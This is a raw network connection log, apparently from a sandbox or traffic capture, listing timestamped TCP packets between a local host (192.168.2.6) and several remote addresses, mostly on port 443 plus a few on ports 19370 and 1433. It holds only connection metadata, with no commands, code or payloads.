Oct 17, 2024 18:18:30.630825043 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.630842924 CEST	49895	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.630850077 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.689547062 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.689618111 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.689687014 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.692806005 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.692861080 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.692991018 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.698515892 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.698558092 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.699263096 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.699294090 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.708630085 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.708673000 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.708741903 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.708941936 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.708971024 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.940411091 CEST	50009	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:30.949129105 CEST	19370	50009	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:30.949304104 CEST	50009	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:30.950297117 CEST	50009	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:30.959036112 CEST	19370	50009	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:31.025299072 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.033396959 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.033416033 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.035064936 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.035073042 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.169233084 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.169322014 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.169730902 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.174837112 CEST	50009	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:31.182328939 CEST	19370	50009	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:31.206265926 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.206309080 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.206329107 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.206336975 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.239031076 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.239078999 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.239665985 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.245016098 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.245032072 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.270340919 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.364419937 CEST	49941	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.364459038 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.364870071 CEST	49941	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.364876032 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.452964067 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.469290972 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.482470989 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.506752968 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.507154942 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.507733107 CEST	49941	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.510883093 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.511068106 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.622627020 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.662271976 CEST	19370	50009	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:31.663800955 CEST	50009	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:31.673125982 CEST	50009	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:31.679106951 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.679145098 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.680393934 CEST	19370	50009	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:31.681556940 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.681564093 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.682138920 CEST	49941	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.682158947 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.684320927 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.684334040 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.684861898 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.684868097 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.693268061 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.693350077 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.693919897 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.693943977 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.769364119 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.769427061 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.769499063 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.784362078 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.784398079 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.807291031 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.807773113 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.807842016 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.808949947 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.808991909 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.809010983 CEST	49988	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.809021950 CEST	443	49988	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.810641050 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.811176062 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.811239004 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.811374903 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.811398983 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.811420918 CEST	49983	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.811428070 CEST	443	49983	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.824572086 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.824641943 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.824773073 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.825053930 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.825074911 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.825129032 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.825134993 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.881201982 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.881262064 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.881709099 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.884916067 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.884932041 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.887255907 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.887314081 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.887445927 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.887619019 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.887631893 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.894928932 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.894970894 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:31.895034075 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.896670103 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:31.896697998 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.042840958 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.047713995 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.047744036 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.048214912 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.048223019 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.182935953 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.183046103 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.183116913 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.201193094 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.201194048 CEST	50041	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.201231956 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.201244116 CEST	443	50041	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.214112997 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.214171886 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.215418100 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.226001978 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.226035118 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.553268909 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.555119038 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.555156946 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.555634975 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.555639982 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.606597900 CEST	50121	1433	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:32.645339012 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.646501064 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.665730953 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.665759087 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.666201115 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.666205883 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.666637897 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.666678905 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.667016983 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.667025089 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.697211981 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.697319031 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.697369099 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.697828054 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.697855949 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.697892904 CEST	50066	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.697899103 CEST	443	50066	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.754463911 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.757950068 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.758008957 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.758080959 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.763443947 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.763459921 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.763905048 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.763910055 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.765527964 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.765568018 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.795286894 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.795367002 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.795427084 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.799274921 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.799408913 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.799467087 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.799700022 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.799720049 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.799736023 CEST	50074	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.799741983 CEST	443	50074	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.802750111 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.802769899 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.802782059 CEST	50072	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.802788019 CEST	443	50072	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.816971064 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.816997051 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.817090988 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.819665909 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.819677114 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.820832968 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.820858955 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.821006060 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.821130037 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.821137905 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.899365902 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.899451971 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.899498940 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.908438921 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.908466101 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.908478022 CEST	50071	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.908483982 CEST	443	50071	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.922754049 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.922816038 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.922985077 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.934196949 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.934214115 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.954358101 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.955148935 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.955180883 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:32.955883026 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:32.955888033 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.095968008 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.096040964 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.096347094 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.099178076 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.099194050 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.099214077 CEST	50091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.099219084 CEST	443	50091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.103550911 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.103594065 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.103650093 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.110378027 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.110388994 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.546138048 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.566997051 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.567032099 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.567898989 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.567904949 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.609246969 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.615443945 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.615525961 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.616302967 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.616318941 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.620454073 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.620910883 CEST	50121	1433	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:33.620968103 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.620992899 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.621458054 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.621464968 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.699948072 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.700018883 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.700067997 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.708209991 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.710969925 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.710969925 CEST	50133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.711004972 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.711014986 CEST	443	50133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.711951017 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.711967945 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.712610006 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.712618113 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.756339073 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.756903887 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.756985903 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.759188890 CEST	50258	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.759242058 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.759325981 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.759346962 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.759361982 CEST	50143	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.759367943 CEST	443	50143	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.759371042 CEST	50258	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.767991066 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.768157005 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.768326998 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.781987906 CEST	50258	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.782006979 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.783802032 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.783816099 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.783837080 CEST	50141	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.783842087 CEST	443	50141	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.799978018 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.800019979 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.800071955 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.803478956 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.803517103 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.803781033 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.803931952 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.803942919 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.804096937 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.804115057 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.847953081 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.847981930 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.848026991 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.848042965 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.848058939 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.848125935 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.853883028 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.853910923 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.853939056 CEST	50152	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.853945017 CEST	443	50152	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.910182953 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.918855906 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.918900967 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.918966055 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.940608978 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.940670967 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.941266060 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.941278934 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:33.949647903 CEST	50274	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:33.949681997 CEST	443	50274	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.072999001 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.073082924 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.073529959 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.303993940 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.303993940 CEST	50178	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.304033041 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.304044962 CEST	443	50178	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.367108107 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.367163897 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.367223024 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.368889093 CEST	50313	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.368911982 CEST	443	50313	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.579161882 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.586218119 CEST	50258	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.586237907 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.586764097 CEST	50258	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.586769104 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.607521057 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.609857082 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.617042065 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.617080927 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.617501020 CEST	50265	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.617506981 CEST	443	50265	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.617897987 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.617923021 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.618443966 CEST	50264	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.618448973 CEST	443	50264	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.717672110 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.717739105 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.717858076 CEST	50258	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.719324112 CEST	50258	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.719343901 CEST	443	50258	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.722697973 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.722740889 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.723373890 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.723726034 CEST	50333	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:34.723737001 CEST	443	50333	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:34.736512899 CEST	443	50274	13.107.246.45	192.168.2.6
